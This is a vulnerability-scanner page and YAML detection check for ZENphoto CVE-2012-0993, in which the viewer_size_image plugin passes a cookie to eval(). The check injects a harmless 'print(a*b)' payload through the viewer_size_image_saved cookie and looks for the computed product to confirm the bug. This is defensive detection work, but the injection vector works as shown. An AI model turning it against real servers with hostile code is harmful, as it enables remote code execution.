ZENphoto — 1 vulnerability check
noctis ships 1 vulnerability check for ZENphoto, covering 1 CVE; each one has to observe the bug on the live service before it reports a finding.
← All products · Feeds on GitHub
ZENphoto viewer_size_image Cookie PHP Code Injection
| CVE | CVE-2012-0993 |
|---|---|
| Severity | high · CVSS 6.8 |
| Category | rce — Remote code execution |
| Services | http, https |
| Detection | script, set_var, http_request, match · highest QoD 97 |
| Feed | tests/vulnerabilities/zenphoto/CVE-2012-0993.yaml |
Tests ZENphoto 1.4.2 and earlier for PHP code injection through the viewer_size_image_saved cookie, which the viewer_size_image plugin passes to eval() on image pages. In the web root and in the /zenphoto, /gallery and /photos directories, the feed loads the gallery front page, confirms it is a Zenphoto gallery, follows its first album link and then its first image page, and requests that page with a cookie that asks PHP to print the product of two random numbers. The correct product in the page confirms that the server evaluated PHP code taken from the cookie. The product is not part of the request, so a page that only echoes the cookie is not reported. Galleries where the plugin is not enabled, or that run a fixed release, ignore the cookie and are not reported. Nothing is written on the target.
How noctis detects it
- Parses / computes the next value with a Rhai script
- Parses / computes the next value with a Rhai script
- HTTP(S) request
GET {{dir}}/ - Parses / computes the next value with a Rhai script
- HTTP(S) request
GET {{album_path}} - Parses / computes the next value with a Rhai script
- HTTP(S) request
GET {{image_path}} - Parses / computes the next value with a Rhai script
- Checks
prooffor^/.+→ finding QoD 97: ZENphoto viewer_size_image Cookie PHP Code Injection (CVE-2012-0993)
References:
- https://nvd.nist.gov/vuln/detail/CVE-2012-0993
- https://www.securityfocus.com/bid/51916
- https://github.com/zenphoto/zenphoto
Feed source — tests/vulnerabilities/zenphoto/CVE-2012-0993.yaml
# ZENphoto 1.4.2 viewer_size_image plugin — eval injection through the
# viewer_size_image_saved cookie (CVE-2012-0993)
#
# zp-core/zp-extensions/viewer_size_image.php (1.4.2, plugin disabled by default):
# $saved = @$_COOKIE['viewer_size_image_saved'];
# ... $_POST['viewer_size_image_selection'] = true; $postdefault = $saved;
# and getViewerImageSize() runs
# $postdefault = str_replace(',',';',$postdefault);
# $postdefault = str_replace(' ','',$postdefault).';';
# eval($postdefault);
# for every image page the theme renders with printUserSizeImage() /
# printUserSizeSelector(). Fixed in 1.4.3 (cookie value is validated first).
#
# Detection (benign): from each candidate install directory ("", /zenphoto,
# /gallery, /photos) fetch the gallery front page, check it is Zenphoto, follow
# the first album link and then the first image-page link (works with and
# without mod_rewrite), and request that image page with the cookie
# viewer_size_image_saved=print(<a>*<b>)
# for two random 6-digit operands. A vulnerable install evaluates it and prints
# the product, which is not in the request. Nothing is written.
#
# Improvements over the source NASL: the NASL only checks that a crafted
# admin.php?a= URL is reflected (an XSS marker, CVE-2012-0995's class, which in
# 1.4.2 needs no plugin and says nothing about the eval bug) and reports the
# three CVEs of the issue together. This feed proves the eval injection itself
# with a computed value, so an install without the plugin enabled, or one that
# is fixed, is not reported. CVE-2011-4448 listed in the issue is a WikkaWiki
# SQL injection and CVE-2012-0995 is the XSS in admin.php/admin-edit.php, so
# neither is claimed here.
#
# CVSS: NVD v2 6.8 (no v3 score).
#
# Ported from OpenVAS/Greenbone NVT 2012/gb_zenphoto_51916.nasl
# (OID 1.3.6.1.4.1.25623.1.0.103412, GPL-2.0-only).
uid: c65f2e1b-ea70-41c5-98b6-ade09b69df69
name: "ZENphoto viewer_size_image Cookie PHP Code Injection (CVE-2012-0993)"
description: |
Tests ZENphoto 1.4.2 and earlier for PHP code injection through the
viewer_size_image_saved cookie, which the viewer_size_image plugin passes to
eval() on image pages. In the web root and in the /zenphoto, /gallery and
/photos directories, the feed loads the gallery front page, confirms it is a
Zenphoto gallery, follows its first album link and then its first image page,
and requests that page with a cookie that asks PHP to print the product of
two random numbers. The correct product in the page confirms that the server
evaluated PHP code taken from the cookie. The product is not part of the
request, so a page that only echoes the cookie is not reported. Galleries
where the plugin is not enabled, or that run a fixed release, ignore the
cookie and are not reported. Nothing is written on the target.
cves: [CVE-2012-0993]
cvss: 6.8
severity: high
category: rce
confidence_base: 0.30
tags: [zenphoto, php, rce, eval, cookie, unauthenticated, intrusive]
services: [http, https]
author: noctis
version: "1.0.0"
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2012-0993"
- "https://www.securityfocus.com/bid/51916"
- "https://github.com/zenphoto/zenphoto"
# OpenVAS/Greenbone NASL 2012/gb_zenphoto_51916.nasl (GPL-2.0-only)
steps:
- id: mint
action: script
code: '#{ a: rand_int(100000, 999999), b: rand_int(100000, 999999) }'
store_as: m
- id: mint-product
action: script
code: '"" + (m.a * m.b)'
store_as: prod
- id: init-proof
action: set_var
var_name: proof
var_value: ""
# ── Loop group: every step below runs once per candidate install dir ─────
- id: init-root
action: set_var
var_name: root
var_value: {status: 0, body: ""}
loop:
over: ["", "/zenphoto", "/gallery", "/photos"]
var: dir
- id: init-alb
action: set_var
var_name: alb
var_value: {status: 0, body: ""}
- id: init-img
action: set_var
var_name: img
var_value: {status: 0, body: ""}
- id: init-ex
action: set_var
var_name: ex
var_value: {status: 0, body: ""}
- id: fetch-root
action: http_request
method: GET
path: "{{dir}}/"
port: "{{port}}"
tls_insecure: true
timeout_secs: 15
condition: 'proof == ""'
store_as: root
# First album link: an index.php?album= link, or a "/<dir>/<album>/" link
# that is not site navigation.
- id: pick-album
action: script
code: |
let out = "";
if proof == "" && type_of(root.body) == "string" && root.status == 200 && ereg("zenphoto", root.body, true) {
let parts = split(root.body, "href=\"");
for i in 1..parts.len() {
if out != "" { continue; }
let q = stridx(parts[i], "\"");
if q < 1 { continue; }
let u = str_replace(substr(parts[i], 0, q - 1), "&", "&");
u = ereg_replace("^https?://[^/]+", "", u);
if !u.starts_with(dir + "/") || u.contains("#") { continue; }
if ereg("[?&]album=[^&]", u) { out = u; }
else if u.ends_with("/") && !u.contains("?") && strlen(u) > strlen(dir) + 2
&& !ereg("/(page|pages|news|archive|search|register|contact|rss|zp-core|themes|plugins|cache|albums)/", u) { out = u; }
}
}
out
store_as: album_path
- id: fetch-album
action: http_request
method: GET
path: "{{album_path}}"
port: "{{port}}"
tls_insecure: true
timeout_secs: 15
condition: 'proof == "" && album_path != ""'
store_as: alb
# First image page of the album: index.php?album=..&image=.. or a
# "<image>.jpg.php" / ".html" rewritten link.
- id: pick-image
action: script
code: |
let out = "";
if proof == "" && album_path != "" && type_of(alb.body) == "string" && alb.status == 200 {
let parts = split(alb.body, "href=\"");
for i in 1..parts.len() {
if out != "" { continue; }
let q = stridx(parts[i], "\"");
if q < 1 { continue; }
let u = str_replace(substr(parts[i], 0, q - 1), "&", "&");
u = ereg_replace("^https?://[^/]+", "", u);
if !u.starts_with(dir + "/") || u.contains("#") { continue; }
if ereg("[?&]image=[^&]", u) || ereg("\\.(jpe?g|png|gif)\\.(php|html)$", u, true) { out = u; }
}
}
out
store_as: image_path
- id: inject-cookie
action: http_request
method: GET
path: "{{image_path}}"
port: "{{port}}"
tls_insecure: true
timeout_secs: 15
condition: 'proof == "" && image_path != ""'
headers:
Cookie: "viewer_size_image_saved=print({{m.a}}*{{m.b}})"
store_as: ex
- id: verdict
action: script
code: |
if proof != "" { proof }
else if image_path != "" && type_of(ex.body) == "string" && ex.status == 200 && ereg("(^|[^0-9])" + prod + "([^0-9]|$)", ex.body) { image_path }
else { "" }
store_as: proof
- id: after-loop
action: set_var
var_name: done
var_value: true
loop:
over: ["once"]
var: pass
- id: report
action: match
source: proof
pattern: "^/.+"
on_match:
finding:
title: "ZENphoto viewer_size_image Cookie PHP Code Injection (CVE-2012-0993)"
description: "An image page of the gallery evaluated PHP code taken from the viewer_size_image_saved cookie: a cookie asking PHP to print the product of two random numbers made the page contain that product. The viewer_size_image plugin passes the cookie to eval(), so any visitor can run PHP code on the server as the web server user. Nothing was written on the target."
remediation: "Upgrade ZENphoto to 1.4.3 or later. Until then, disable the viewer_size_image plugin in Admin > Options > Plugins."
cves: [CVE-2012-0993]
cvss: 6.8
severity: high
confidence_delta: 0.65
qod: 97
evidence: "GET {{proof}} with Cookie viewer_size_image_saved=print({{m.a}}*{{m.b}}) returned the evaluated product {{prod}}"